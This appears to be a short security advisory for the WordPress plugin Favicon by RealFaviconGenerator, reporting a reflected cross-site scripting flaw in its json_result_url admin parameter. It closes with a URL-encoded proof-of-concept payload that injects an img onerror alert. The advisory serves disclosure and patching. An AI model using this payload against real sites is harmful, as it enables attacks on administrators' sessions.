Favicon by RealFaviconGenerator < 1.3.23 - Reflected Cross-Site Scripting

2022-03-2100:00:00

Krzysztof Zając

favicon

realfavicongenerator

cross-site scripting

exploit

EPSS

0.001

Percentile

30.0%

JSON

The plugin does not properly sanitise and escape the json_result_url parameter before outputting it back in the Favicon admin dashboard, leading to a Reflected Cross-Site Scripting issue

https://example.com/wp-admin/themes.php?page=favicon-by-realfavicongenerator%2Fadmin%2Fclass-favicon-by-realfavicongenerator-admin.phpfavicon_appearance_menu&json_result_url=.example.com%3C%2Fscript%3E%3Cimg%2Fsrc%2Fonerror%3Dalert%28/XSS/%29+%2F%2F